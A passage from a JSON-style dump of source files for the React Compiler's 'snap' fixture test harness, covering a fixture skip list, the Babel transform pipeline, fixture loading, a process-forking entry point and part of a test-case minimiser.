'rules-of-hooks/todo.invalid.invalid-rules-of-hooks-5a7ac9a6e8fa',\n  'rules-of-hooks/todo.invalid.invalid-rules-of-hooks-76a74b4666e9',\n  'rules-of-hooks/todo.invalid.invalid-rules-of-hooks-8303403b8e4c',\n  'rules-of-hooks/todo.invalid.invalid-rules-of-hooks-99b5c750d1d1',\n  'rules-of-hooks/todo.invalid.invalid-rules-of-hooks-9c79feec4b9b',\n  'rules-of-hooks/todo.invalid.invalid-rules-of-hooks-a63fd4f9dcc0',\n  'rules-of-hooks/todo.invalid.invalid-rules-of-hooks-acb56658fe7e',\n  'rules-of-hooks/todo.invalid.invalid-rules-of-hooks-c59788ef5676',\n  'rules-of-hooks/todo.invalid.invalid-rules-of-hooks-d842d36db450',\n  'rules-of-hooks/todo.invalid.invalid-rules-of-hooks-d952b82c2597',\n  'rules-of-hooks/todo.invalid.invalid-rules-of-hooks-ddeca9708b63',\n  'rules-of-hooks/todo.invalid.invalid-rules-of-hooks-e675f0a672d8',\n  'rules-of-hooks/todo.invalid.invalid-rules-of-hooks-e69ffce323c3',\n  'todo.unnecessary-lambda-memoization',\n  'rules-of-hooks/rules-of-hooks-93dc5d5e538a',\n  'rules-of-hooks/rules-of-hooks-69521d94fa03',\n\n  // false positives\n  'invalid-jsx-lowercase-localvar',\n\n  // bugs\n  'inner-function/nullable-objects/bug-invalid-array-map-manual',\n  'bug-object-expression-computed-key-modified-during-after-construction-hoisted-sequence-expr',\n  `bug-capturing-func-maybealias-captured-mutate`,\n  'bug-aliased-capture-aliased-mutate',\n  'bug-aliased-capture-mutate',\n  'bug-functiondecl-hoisting',\n  'bug-type-inference-control-flow',\n  'fbt/bug-fbt-plural-multiple-function-calls',\n  'fbt/bug-fbt-plural-multiple-mixed-call-tag',\n  'bug-invalid-phi-as-dependency',\n  'bug-ref-prefix-postfix-operator',\n\n  // 'react-compiler-runtime' not yet supported\n  'flag-enable-emit-hook-guards',\n  'fast-refresh-refresh-on-const-changes-dev',\n  'useState-pruned-dependency-change-detect',\n  'useState-unpruned-dependency',\n  'useState-and-other-hook-unpruned-dependency',\n  'change-detect-reassign',\n\n  // Depends on external functions\n  'idx-method-no-outlining-wildcard',\n  'idx-method-no-outlining',\n  'target-flag-meta-internal',\n\n  // needs to be executed as a module\n  'meta-property',\n\n  // needs context lowering support in React\n  'todo.lower-context-access-property-load',\n  'todo.lower-context-access-nested-destructuring',\n  'todo.lower-context-access-mixed-array-obj',\n  'todo.lower-context-access-destructure-multiple',\n  'todo.lower-context-access-array-destructuring',\n  'lower-context-selector-simple',\n  'lower-context-acess-multiple',\n  'bug-separate-memoization-due-to-callback-capturing',\n\n  // SSR optimization rewrites files in a way that causes differences or warnings\n  'ssr/optimize-ssr',\n  'ssr/ssr-use-reducer',\n  'ssr/ssr-use-reducer-initializer',\n  'ssr/infer-event-handlers-from-setState',\n  'ssr/infer-event-handlers-from-startTransition',\n]);\n\nexport default skipFilter;\n"
  },
  {
    "path": "compiler/packages/snap/src/compiler.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport type * as BabelCore from '@babel/core';\nimport {transformFromAstSync} from '@babel/core';\n\nimport * as BabelParser from '@babel/parser';\nimport {NodePath} from '@babel/traverse';\nimport * as t from '@babel/types';\nimport type {\n  Logger,\n  LoggerEvent,\n  PluginOptions,\n  CompilerReactTarget,\n  CompilerPipelineValue,\n} from 'babel-plugin-react-compiler/src/Entrypoint';\nimport type {\n  Effect,\n  ValueKind,\n  ValueReason,\n} from 'babel-plugin-react-compiler/src/HIR';\nimport type {parseConfigPragmaForTests as ParseConfigPragma} from 'babel-plugin-react-compiler/src/Utils/TestUtils';\nimport * as HermesParser from 'hermes-parser';\nimport invariant from 'invariant';\nimport path from 'path';\nimport prettier from 'prettier';\nimport SproutTodoFilter from './SproutTodoFilter';\nimport {isExpectError} from './fixture-utils';\nimport {makeSharedRuntimeTypeProvider} from './sprout/shared-runtime-type-provider';\n\nexport function parseLanguage(source: string): 'flow' | 'typescript' {\n  return source.indexOf('@flow') !== -1 ? 'flow' : 'typescript';\n}\n\nexport function parseSourceType(source: string): 'script' | 'module' {\n  return source.indexOf('@script') !== -1 ? 'script' : 'module';\n}\n\n/**\n * Parse react compiler plugin + environment options from test fixture. Note\n * that although this primarily uses `Environment:parseConfigPragma`, it also\n * has test fixture specific (i.e. not applicable to playground) parsing logic.\n */\nfunction makePluginOptions(\n  firstLine: string,\n  parseConfigPragmaFn: typeof ParseConfigPragma,\n  debugIRLogger: (value: CompilerPipelineValue) => void,\n  EffectEnum: typeof Effect,\n  ValueKindEnum: typeof ValueKind,\n  ValueReasonEnum: typeof ValueReason,\n): {\n  options: PluginOptions;\n  loggerTestOnly: boolean;\n  logs: Array<{filename: string | null; event: LoggerEvent}>;\n} {\n  // TODO(@mofeiZ) rewrite snap fixtures to @validatePreserveExistingMemo:false\n  let validatePreserveExistingMemoizationGuarantees = false;\n  let target: CompilerReactTarget = '19';\n\n  /**\n   * Snap currently runs all fixtures without `validatePreserveExistingMemo` as\n   * most fixtures are interested in compilation output, not whether the\n   * compiler was able to preserve existing memo.\n   *\n   * TODO: flip the default. `useMemo` is rare in test fixtures -- fixtures that\n   * use useMemo should be explicit about whether this flag is enabled\n   */\n  if (firstLine.includes('@validatePreserveExistingMemoizationGuarantees')) {\n    validatePreserveExistingMemoizationGuarantees = true;\n  }\n\n  const loggerTestOnly = firstLine.includes('@loggerTestOnly');\n  const logs: Array<{filename: string | null; event: LoggerEvent}> = [];\n  const logger: Logger = {\n    logEvent: (filename, event) => {\n      logs.push({filename, event});\n    },\n    debugLogIRs: debugIRLogger,\n  };\n\n  const config = parseConfigPragmaFn(firstLine, {compilationMode: 'all'});\n  const options = {\n    ...config,\n    environment: {\n      ...config.environment,\n      moduleTypeProvider: makeSharedRuntimeTypeProvider({\n        EffectEnum,\n        ValueKindEnum,\n        ValueReasonEnum,\n      }),\n      assertValidMutableRanges: true,\n      validatePreserveExistingMemoizationGuarantees,\n    },\n    logger,\n    enableReanimatedCheck: false,\n    target,\n  };\n  return {options, loggerTestOnly, logs};\n}\n\nexport function parseInput(\n  input: string,\n  filename: string,\n  language: 'flow' | 'typescript',\n  sourceType: 'module' | 'script',\n): BabelCore.types.File {\n  // Extract the first line to quickly check for custom test directives\n  if (language === 'flow') {\n    return HermesParser.parse(input, {\n      babel: true,\n      flow: 'all',\n      sourceFilename: filename,\n      sourceType,\n      enableExperimentalComponentSyntax: true,\n    });\n  } else {\n    return BabelParser.parse(input, {\n      sourceFilename: filename,\n      plugins: ['typescript', 'jsx'],\n      sourceType,\n    });\n  }\n}\n\nfunction getEvaluatorPresets(\n  language: 'typescript' | 'flow',\n): Array<BabelCore.PluginItem> {\n  const presets: Array<BabelCore.PluginItem> = [\n    {\n      plugins: [\n        'babel-plugin-fbt',\n        'babel-plugin-fbt-runtime',\n        'babel-plugin-idx',\n      ],\n    },\n  ];\n  presets.push(\n    language === 'typescript'\n      ? [\n          '@babel/preset-typescript',\n          {\n            /**\n             * onlyRemoveTypeImports needs to be set as fbt imports\n             * would otherwise be removed by this pass.\n             * https://github.com/facebook/fbt/issues/49\n             * https://github.com/facebook/sfbt/issues/72\n             * https://dev.to/retyui/how-to-add-support-typescript-for-fbt-an-internationalization-framework-3lo0\n             */\n            onlyRemoveTypeImports: true,\n          },\n        ]\n      : '@babel/preset-flow',\n  );\n\n  presets.push({\n    plugins: ['@babel/plugin-syntax-jsx'],\n  });\n  presets.push(\n    ['@babel/preset-react', {throwIfNamespace: false}],\n    {\n      plugins: ['@babel/plugin-transform-modules-commonjs'],\n    },\n    {\n      plugins: [\n        function BabelPluginRewriteRequirePath() {\n          return {\n            visitor: {\n              CallExpression(path: NodePath<t.CallExpression>) {\n                const {callee} = path.node;\n                if (callee.type === 'Identifier' && callee.name === 'require') {\n                  const arg = path.node.arguments[0];\n                  if (arg.type === 'StringLiteral') {\n                    // rewrite to use relative import as eval happens in\n                    // sprout/evaluator.ts\n                    if (arg.value === 'shared-runtime') {\n                      arg.value = './shared-runtime';\n                    } else if (arg.value === 'ReactForgetFeatureFlag') {\n                      arg.value = './ReactForgetFeatureFlag';\n                    } else if (arg.value === 'useEffectWrapper') {\n                      arg.value = './useEffectWrapper';\n                    }\n                  }\n                }\n              },\n            },\n          };\n        },\n      ],\n    },\n  );\n  return presets;\n}\nasync function format(\n  inputCode: string,\n  language: 'typescript' | 'flow',\n): Promise<string> {\n  return await prettier.format(inputCode, {\n    semi: true,\n    parser: language === 'typescript' ? 'babel-ts' : 'flow',\n  });\n}\nconst TypescriptEvaluatorPresets = getEvaluatorPresets('typescript');\nconst FlowEvaluatorPresets = getEvaluatorPresets('flow');\n\nexport type TransformResult = {\n  forgetOutput: string;\n  logs: string | null;\n  evaluatorCode: {\n    original: string;\n    forget: string;\n  } | null;\n};\n\nexport async function transformFixtureInput(\n  input: string,\n  fixturePath: string,\n  parseConfigPragmaFn: typeof ParseConfigPragma,\n  plugin: BabelCore.PluginObj,\n  includeEvaluator: boolean,\n  debugIRLogger: (value: CompilerPipelineValue) => void,\n  EffectEnum: typeof Effect,\n  ValueKindEnum: typeof ValueKind,\n  ValueReasonEnum: typeof ValueReason,\n): Promise<{kind: 'ok'; value: TransformResult} | {kind: 'err'; msg: string}> {\n  // Extract the first line to quickly check for custom test directives\n  const firstLine = input.substring(0, input.indexOf('\\n'));\n\n  const language = parseLanguage(firstLine);\n  const sourceType = parseSourceType(firstLine);\n  // Preserve file extension as it determines typescript's babel transform\n  // mode (e.g. stripping types, parsing rules for brackets)\n  const filename =\n    path.basename(fixturePath) + (language === 'typescript' ? '.ts' : '');\n  const inputAst = parseInput(input, filename, language, sourceType);\n  // Give babel transforms an absolute path as relative paths get prefixed\n  // with `cwd`, which is different across machines\n  const virtualFilepath = '/' + filename;\n\n  const presets =\n    language === 'typescript'\n      ? TypescriptEvaluatorPresets\n      : FlowEvaluatorPresets;\n\n  /**\n   * Get Forget compiled code\n   */\n  const {options, loggerTestOnly, logs} = makePluginOptions(\n    firstLine,\n    parseConfigPragmaFn,\n    debugIRLogger,\n    EffectEnum,\n    ValueKindEnum,\n    ValueReasonEnum,\n  );\n  const forgetResult = transformFromAstSync(inputAst, input, {\n    filename: virtualFilepath,\n    highlightCode: false,\n    retainLines: true,\n    compact: true,\n    plugins: [\n      [plugin, options],\n      'babel-plugin-fbt',\n      'babel-plugin-fbt-runtime',\n      'babel-plugin-idx',\n    ],\n    sourceType: 'module',\n    ast: includeEvaluator,\n    cloneInputAst: includeEvaluator,\n    configFile: false,\n    babelrc: false,\n  });\n  invariant(\n    forgetResult?.code != null,\n    'Expected BabelPluginReactForget to codegen successfully.',\n  );\n  const forgetCode = forgetResult.code;\n  let evaluatorCode = null;\n\n  if (\n    includeEvaluator &&\n    !SproutTodoFilter.has(fixturePath) &&\n    !isExpectError(filename)\n  ) {\n    let forgetEval: string;\n    try {\n      invariant(\n        forgetResult?.ast != null,\n        'Expected BabelPluginReactForget ast.',\n      );\n      const result = transformFromAstSync(forgetResult.ast, forgetCode, {\n        presets,\n        filename: virtualFilepath,\n        configFile: false,\n        babelrc: false,\n      });\n      if (result?.code == null) {\n        return {\n          kind: 'err',\n          msg: 'Unexpected error in forget transform pipeline - no code emitted',\n        };\n      } else {\n        forgetEval = result.code;\n      }\n    } catch (e) {\n      return {\n        kind: 'err',\n        msg: 'Unexpected error in Forget transform pipeline: ' + e.message,\n      };\n    }\n\n    /**\n     * Get evaluator code for source (no Forget)\n     */\n    let originalEval: string;\n    try {\n      const result = transformFromAstSync(inputAst, input, {\n        presets,\n        filename: virtualFilepath,\n        configFile: false,\n        babelrc: false,\n      });\n\n      if (result?.code == null) {\n        return {\n          kind: 'err',\n          msg: 'Unexpected error in non-forget transform pipeline - no code emitted',\n        };\n      } else {\n        originalEval = result.code;\n      }\n    } catch (e) {\n      return {\n        kind: 'err',\n        msg: 'Unexpected error in non-forget transform pipeline: ' + e.message,\n      };\n    }\n    evaluatorCode = {\n      forget: forgetEval,\n      original: originalEval,\n    };\n  }\n  const forgetOutput = await format(forgetCode, language);\n  let formattedLogs = null;\n  if (loggerTestOnly && logs.length !== 0) {\n    formattedLogs = logs\n      .map(({event}) => {\n        return JSON.stringify(event, (key, value) => {\n          if (\n            key === 'detail' &&\n            value != null &&\n            typeof value.serialize === 'function'\n          ) {\n            return value.serialize();\n          }\n          return value;\n        });\n      })\n      .join('\\n');\n  }\n  const expectNothingCompiled =\n    firstLine.indexOf('@expectNothingCompiled') !== -1;\n  const successFailures = logs.filter(\n    log =>\n      log.event.kind === 'CompileSuccess' || log.event.kind === 'CompileError',\n  );\n  if (successFailures.length === 0 && !expectNothingCompiled) {\n    return {\n      kind: 'err',\n      msg: 'No success/failure events, add `// @expectNothingCompiled` to the first line if this is expected',\n    };\n  } else if (successFailures.length !== 0 && expectNothingCompiled) {\n    return {\n      kind: 'err',\n      msg: 'Expected nothing to be compiled (from `// @expectNothingCompiled`), but some functions compiled or errored',\n    };\n  }\n  const unexpectedThrows = logs.filter(\n    log => log.event.kind === 'CompileUnexpectedThrow',\n  );\n  if (unexpectedThrows.length > 0) {\n    return {\n      kind: 'err',\n      msg:\n        `Compiler pass(es) threw instead of recording errors:\\n` +\n        unexpectedThrows.map(l => (l.event as any).data).join('\\n'),\n    };\n  }\n  return {\n    kind: 'ok',\n    value: {\n      forgetOutput,\n      logs: formattedLogs,\n      evaluatorCode,\n    },\n  };\n}\n"
  },
  {
    "path": "compiler/packages/snap/src/constants.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport path from 'path';\n\nexport const PROJECT_ROOT = path.join(process.cwd(), '..', '..');\n\n// We assume this is run from `babel-plugin-react-compiler`\nexport const BABEL_PLUGIN_ROOT = path.normalize(\n  path.join(PROJECT_ROOT, 'packages', 'babel-plugin-react-compiler'),\n);\n\nexport const BABEL_PLUGIN_SRC = path.normalize(\n  path.join(BABEL_PLUGIN_ROOT, 'dist', 'index.js'),\n);\nexport const PRINT_HIR_IMPORT = 'printFunctionWithOutlined';\nexport const PRINT_REACTIVE_IR_IMPORT = 'printReactiveFunction';\nexport const PARSE_CONFIG_PRAGMA_IMPORT = 'parseConfigPragmaForTests';\nexport const FIXTURES_PATH = path.join(\n  BABEL_PLUGIN_ROOT,\n  'src',\n  '__tests__',\n  'fixtures',\n  'compiler',\n);\nexport const SNAPSHOT_EXTENSION = '.expect.md';\n"
  },
  {
    "path": "compiler/packages/snap/src/fixture-utils.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport fs from 'fs/promises';\nimport * as glob from 'glob';\nimport path from 'path';\nimport {FIXTURES_PATH, SNAPSHOT_EXTENSION} from './constants';\n\nconst INPUT_EXTENSIONS = [\n  '.js',\n  '.cjs',\n  '.mjs',\n  '.ts',\n  '.cts',\n  '.mts',\n  '.jsx',\n  '.tsx',\n];\n\nexport type TestFilter = {\n  paths: Array<string>;\n};\n\nfunction stripExtension(filename: string, extensions: Array<string>): string {\n  for (const ext of extensions) {\n    if (filename.endsWith(ext)) {\n      return filename.slice(0, -ext.length);\n    }\n  }\n  return filename;\n}\n\nexport function getBasename(fixture: TestFixture): string {\n  return stripExtension(path.basename(fixture.inputPath), INPUT_EXTENSIONS);\n}\nexport function isExpectError(fixture: TestFixture | string): boolean {\n  const basename = typeof fixture === 'string' ? fixture : getBasename(fixture);\n  return basename.startsWith('error.') || basename.startsWith('todo.error');\n}\n\nexport type TestFixture =\n  | {\n      fixturePath: string;\n      input: string | null;\n      inputPath: string;\n      snapshot: string | null;\n      snapshotPath: string;\n    }\n  | {\n      fixturePath: string;\n      input: null;\n      inputPath: string;\n      snapshot: string;\n      snapshotPath: string;\n    };\n\nasync function readInputFixtures(\n  rootDir: string,\n  filter: TestFilter | null,\n): Promise<Map<string, {value: string; filepath: string}>> {\n  let inputFiles: Array<string>;\n  if (filter == null) {\n    inputFiles = glob.sync(`**/*{${INPUT_EXTENSIONS.join(',')}}`, {\n      cwd: rootDir,\n    });\n  } else {\n    inputFiles = (\n      await Promise.all(\n        filter.paths.map(pattern => {\n          // If the pattern already has an extension other than .expect.md,\n          // search for the pattern directly. Otherwise, search for the\n          // pattern with the expected input extensions added.\n          // Eg\n          // `alias-while` => search for `alias-while{.js,.jsx,.ts,.tsx}`\n          // `alias-while.js` => search as-is\n          // `alias-while.expect.md` => search for `alias-while{.js,.jsx,.ts,.tsx}`\n          const patternWithoutExt = stripExtension(pattern, [\n            ...INPUT_EXTENSIONS,\n            SNAPSHOT_EXTENSION,\n          ]);\n          const hasExtension = pattern !== patternWithoutExt;\n          const globPattern =\n            hasExtension && !pattern.endsWith(SNAPSHOT_EXTENSION)\n              ? pattern\n              : `${patternWithoutExt}{${INPUT_EXTENSIONS.join(',')}}`;\n          return glob.glob(globPattern, {\n            cwd: rootDir,\n          });\n        }),\n      )\n    ).flat();\n  }\n  const inputs: Array<Promise<[string, {value: string; filepath: string}]>> =\n    [];\n  for (const filePath of inputFiles) {\n    // Do not include extensions in unique identifier for fixture\n    const partialPath = stripExtension(filePath, INPUT_EXTENSIONS);\n    inputs.push(\n      fs.readFile(path.join(rootDir, filePath), 'utf8').then(input => {\n        return [\n          partialPath,\n          {\n            value: input,\n            filepath: filePath,\n          },\n        ];\n      }),\n    );\n  }\n  return new Map(await Promise.all(inputs));\n}\nasync function readOutputFixtures(\n  rootDir: string,\n  filter: TestFilter | null,\n): Promise<Map<string, string>> {\n  let outputFiles: Array<string>;\n  if (filter == null) {\n    outputFiles = glob.sync(`**/*${SNAPSHOT_EXTENSION}`, {\n      cwd: rootDir,\n    });\n  } else {\n    outputFiles = (\n      await Promise.all(\n        filter.paths.map(pattern => {\n          // Strip all extensions and find matching .expect.md files\n          const basenameWithoutExt = stripExtension(pattern, [\n            ...INPUT_EXTENSIONS,\n            SNAPSHOT_EXTENSION,\n          ]);\n          return glob.glob(`${basenameWithoutExt}${SNAPSHOT_EXTENSION}`, {\n            cwd: rootDir,\n          });\n        }),\n      )\n    ).flat();\n  }\n  const outputs: Array<Promise<[string, string]>> = [];\n  for (const filePath of outputFiles) {\n    // Do not include extensions in unique identifier for fixture\n    const partialPath = stripExtension(filePath, [SNAPSHOT_EXTENSION]);\n\n    const outputPath = path.join(rootDir, filePath);\n    const output: Promise<[string, string]> = fs\n      .readFile(outputPath, 'utf8')\n      .then(output => {\n        return [partialPath, output];\n      });\n    outputs.push(output);\n  }\n  return new Map(await Promise.all(outputs));\n}\n\nexport async function getFixtures(\n  filter: TestFilter | null,\n): Promise<Map<string, TestFixture>> {\n  const inputs = await readInputFixtures(FIXTURES_PATH, filter);\n  const outputs = await readOutputFixtures(FIXTURES_PATH, filter);\n\n  const fixtures: Map<string, TestFixture> = new Map();\n  for (const [partialPath, {value, filepath}] of inputs) {\n    const output = outputs.get(partialPath) ?? null;\n    fixtures.set(partialPath, {\n      fixturePath: partialPath,\n      input: value,\n      inputPath: filepath,\n      snapshot: output,\n      snapshotPath: path.join(FIXTURES_PATH, partialPath) + SNAPSHOT_EXTENSION,\n    });\n  }\n\n  for (const [partialPath, output] of outputs) {\n    if (!fixtures.has(partialPath)) {\n      fixtures.set(partialPath, {\n        fixturePath: partialPath,\n        input: null,\n        inputPath: 'none',\n        snapshot: output,\n        snapshotPath:\n          path.join(FIXTURES_PATH, partialPath) + SNAPSHOT_EXTENSION,\n      });\n    }\n  }\n  return fixtures;\n}\n"
  },
  {
    "path": "compiler/packages/snap/src/main.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {fork} from 'child_process';\nimport invariant from 'invariant';\nimport process from 'process';\nimport * as readline from 'readline';\nimport {hideBin} from 'yargs/helpers';\n\nreadline.emitKeypressEvents(process.stdin);\n\nif (process.stdin.isTTY) {\n  process.stdin.setRawMode(true);\n}\n\nprocess.stdin.on('keypress', function (_, key) {\n  if (key && key.name === 'c' && key.ctrl) {\n    // handle sigint\n    if (childProc) {\n      console.log('Interrupted!!');\n      childProc.kill('SIGINT');\n      childProc.unref();\n      process.exit(-1);\n    }\n  }\n});\n\nconst childProc = fork(require.resolve('./runner.js'), hideBin(process.argv), {\n  // for some reason, keypress events aren't sent to handlers in both processes\n  // when we `inherit` stdin.\n  // pipe stdout and stderr so we can silence child process after parent exits\n  stdio: ['pipe', 'pipe', 'pipe', 'ipc'],\n  // forward existing env variables, like `NODE_OPTIONS` which VSCode uses to attach\n  // its debugger\n  env: {...process.env, FORCE_COLOR: 'true'},\n});\n\ninvariant(\n  childProc.stdin && childProc.stdout && childProc.stderr,\n  'Expected forked process to have piped stdio',\n);\nprocess.stdin.pipe(childProc.stdin);\nchildProc.stdout.pipe(process.stdout);\nchildProc.stderr.pipe(process.stderr);\n\nchildProc.on('exit', code => {\n  process.exit(code ?? -1);\n});\n"
  },
  {
    "path": "compiler/packages/snap/src/minimize.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport type {PluginObj} from '@babel/core';\nimport {transformFromAstSync} from '@babel/core';\nimport generate from '@babel/generator';\nimport traverse from '@babel/traverse';\nimport * as t from '@babel/types';\nimport type {parseConfigPragmaForTests as ParseConfigPragma} from 'babel-plugin-react-compiler/src/Utils/TestUtils';\nimport {parseInput} from './compiler.js';\nimport {PARSE_CONFIG_PRAGMA_IMPORT, BABEL_PLUGIN_SRC} from './constants.js';\n\ntype CompileSuccess = {kind: 'success'};\ntype CompileParseError = {kind: 'parse_error'; message: string};\ntype CompileErrors = {\n  kind: 'errors';\n  errors: Array<{category: string; reason: string; description: string | null}>;\n};\ntype CompileResult = CompileSuccess | CompileParseError | CompileErrors;\n\n/**\n * Compile code and extract error information\n */\nfunction compileAndGetError(\n  code: string,\n  filename: string,\n  language: 'flow' | 'typescript',\n  sourceType: 'module' | 'script',\n  plugin: PluginObj,\n  parseConfigPragmaFn: typeof ParseConfigPragma,\n): CompileResult {\n  let ast: t.File;\n  try {\n    ast = parseInput(code, filename, language, sourceType);\n  } catch (e: unknown) {\n    return {kind: 'parse_error', message: (e as Error).message};\n  }\n\n  const firstLine = code.substring(0, code.indexOf('\\n'));\n  const config = parseConfigPragmaFn(firstLine, {compilationMode: 'all'});\n  const options = {\n    ...config,\n    environment: {\n      ...config.environment,\n    },\n    logger: {\n      logEvent: () => {},\n      debugLogIRs: () => {},\n    },\n    enableReanimatedCheck: false,\n  };\n\n  try {\n    transformFromAstSync(ast, code, {\n      filename: '/' + filename,\n      highlightCode: false,\n      retainLines: true,\n      compact: true,\n      plugins: [[plugin, options]],\n      sourceType: 'module',\n      ast: false,\n      cloneInputAst: true,\n      configFile: false,\n      babelrc: false,\n    });\n    return {kind: 'success'};\n  } catch (e: unknown) {\n    const error = e as Error & {\n      details?: Array<{\n        category: string;\n        reason: string;\n        description: string | null;\n      }>;\n    };\n    // Check if this is a CompilerError with details\n    if (error.details && error.details.length > 0) {\n      return {\n        kind: 'errors',\n        errors: error.details.map(detail => ({\n          category: detail.category,\n          reason: detail.reason,\n          description: detail.description,\n        })),\n      };\n    }\n    // Fallback for other errors - use error name/message\n    return {\n      kind: 'errors',\n      errors: [\n        {\n          category: error.name ?? 'Error',\n          reason: error.message,\n          description: null,\n        },\n      ],\n    };\n  }\n}\n\n/**\n * Check if two compile errors match\n */\nfunction errorsMatch(a: CompileErrors, b: CompileResult): boolean {\n  if (b.kind !== 'errors') {\n    return false;\n  }\n  if (a.errors.length !== b.errors.length) {\n    return false;\n  }\n  for (let i = 0; i < a.errors.length; i++) {\n    if (\n      a.errors[i].category !== b.errors[i].category ||\n      a.errors[i].reason !== b.errors[i].reason ||\n      a.errors[i].description !== b.errors[i].description\n    ) {\n      return false;\n    }\n  }\n  return true;\n}\n\n/**\n * Convert AST to code string\n */\nfunction astToCode(ast: t.File): string {\n  return generate(ast).code;\n}\n\n/**\n * Clone an AST node deeply\n */\nfunction cloneAst(ast: t.File): t.File {\n  return t.cloneNode(ast, true);\n}\n\n/**\n * Generator that yields ASTs with statements removed one at a time\n */\nfunction* removeStatements(ast: t.File): Generator<t.File> {\n  // Collect all statement locations: which container (by index) and which statement index\n  const statementLocations: Array<{containerIndex: number; stmtIndex: number}> =\n    [];\n  let containerIndex = 0;\n\n  t.traverseFast(ast, node => {\n    if (t.isBlockStatement(node) || t.isProgram(node)) {\n      const body = node.body as t.Statement[];\n      // Iterate in reverse order so removing later statements first\n      for (let i = body.length - 1; i >= 0; i--) {\n        statementLocations.push({containerIndex, stmtIndex: i});\n      }\n      containerIndex++;\n    }\n  });\n\n  for (const {\n    containerIndex: targetContainerIdx,\n    stmtIndex,\n  } of statementLocations) {\n    const cloned = cloneAst(ast);\n    let idx = 0;\n    let modified = false;\n\n    t.traverseFast(cloned, node => {\n      if (modified) return;\n      if (t.isBlockStatement(node) || t.isProgram(node)) {\n        if (idx === targetContainerIdx) {\n          const body = node.body as t.Statement[];\n          if (stmtIndex < body.length) {\n            body.splice(stmtIndex, 1);\n            modified = true;\n          }\n        }\n        idx++;\n      }\n    });\n\n    if (modified) {\n      yield cloned;\n    }\n  }\n}\n\n/**\n * Generator that yields ASTs with call arguments removed one at a time\n */\nfunction* removeCallArguments(ast: t.File): Generator<t.File> {\n  // Collect all call expressions with their argument counts\n  const callSites: Array<{callIndex: number; argCount: number}> = [];\n  let callIndex = 0;\n  t.traverseFast(ast, node => {\n    if (t.isCallExpression(node) && node.arguments.length > 0) {\n      callSites.push({callIndex, argCount: node.arguments.length});\n      callIndex++;\n    }\n  });\n\n  // For each call site, try removing each argument one at a time (from end to start)\n  for (const {callIndex: targetCallIdx, argCount} of callSites) {\n    for (let argIdx = argCount - 1; argIdx >= 0; argIdx--) {\n      const cloned = cloneAst(ast);\n      let idx = 0;\n      let modified = false;\n\n      t.traverseFast(cloned, node => {\n        if (modified) return;\n        if (t.isCallExpression(node) && node.arguments.length > 0) {\n          if (idx === targetCallIdx && argIdx < node.arguments.length) {\n            node.arguments.splice(argIdx, 1);\n            modified = true;\n          }\n          idx++;\n        }\n      });\n\n      if (modified) {\n        yield cloned;\n      }\n    }\n  }\n}\n\n/**\n * Generator that yields ASTs with function parameters removed one at a time\n */\nfunction* removeFunctionParameters(ast: t.File): Generator<t.File> {\n  // Collect all functions with parameters\n  const funcSites: Array<{funcIndex: number; paramCount: number}> = [];\n  let funcIndex = 0;\n  t.traverseFast(ast, node => {\n    if (t.isFunction(node) && node.params.length > 0) {\n      funcSites.push({funcIndex, paramCount: node.params.length});\n      funcIndex++;\n    }\n  });\n\n  // For each function, try removing each parameter (from end to start)\n  for (const {funcIndex: targetFuncIdx, paramCount} of funcSites) {\n    for (let paramIdx = paramCount - 1; paramIdx >= 0; paramIdx--) {\n      const cloned = cloneAst(ast);\n      let idx = 0;\n      let modified = false;\n\n      t.traverseFast(cloned, node => {\n        if (modified) return;\n        if (t.isFunction(node) && node.params.length > 0) {\n          if (idx === targetFuncIdx && paramIdx < node.params.length) {\n            node.params.splice(paramIdx, 1);\n            modified = true;\n          }\n          idx++;\n        }\n      });\n\n      if (modified) {\n        yield cloned;\n      }\n    }\n  }\n}\n\n/**\n * Generator that simplifies call expressions by replacing them with their arguments.\n * For single argument: foo(x) -> x\n * For multiple arguments: foo(x, y) -> [x, y]\n */\nfunction* simplifyCallExpressions(ast: t.File): Generator<t.File> {\n  // Count call expressions with arguments\n  let callCount = 0;\n  t.traverseFast(ast, node => {\n    if (t.isCallExpression(node) && node.arguments.length > 0) {\n      callCount++;\n    }\n  });\n\n  // For each call, try replacing with arguments\n  for (let targetIdx = 0; targetIdx < callCount; targetIdx++) {\n    const cloned = cloneAst(ast);\n    let idx = 0;\n    let modified = false;\n\n    traverse(cloned, {\n      CallExpression(path) {\n        if (modified) return;\n        if (path.node.arguments.length > 0 && idx === targetIdx) {\n          const args = path.node.arguments;\n          // Filter to only Expression arguments (not SpreadElement)\n          const exprArgs = args.filter((arg): arg is t.Expression =>\n            t.isExpression(arg),\n          );\n          if (exprArgs.length === 0) {\n            idx++;\n            return;\n          }\n          if (exprArgs.length === 1) {\n            // Single argument: replace call with the argument\n            path.replaceWith(exprArgs[0]);\n          } else {\n            // Multiple arguments: replace call with array of arguments\n            path.replaceWith(t.arrayExpression(exprArgs));\n          }\n          modified = true;\n        }\n        idx++;\n      },\n    });\n\n    if (modified) {\n      yield cloned;\n    }\n  }\n\n  // Also try replacing with each individual argument for multi-arg calls\n  for (let targetIdx = 0; targetIdx < callCount; targetIdx++) {\n    // First, find the arg count for this call\n    let argCount = 0;\n    let currentIdx = 0;\n    t.traverseFast(ast, node => {\n      if (t.isCallExpression(node) && node.arguments.length > 0) {\n        if (currentIdx === targetIdx) {\n          argCount = node.arguments.length;\n        }\n        currentIdx++;\n      }\n    });\n\n    // Try replacing with each argument individually\n    for (let argIdx = 0; argIdx < argCount; argIdx++) {\n      const cloned = cloneAst(ast);\n      let idx = 0;\n      let modified = false;\n\n      traverse(cloned, {\n        CallExpression(path) {\n          if (modified) return;\n          if (path.node.arguments.length > 0 && idx === targetIdx) {\n            const arg = path.node.arguments[argIdx];\n            if (t.isExpression(arg)) {\n              path.replaceWith(arg);\n              modified = true;\n            }\n          }\n          idx++;\n        },\n      });\n\n  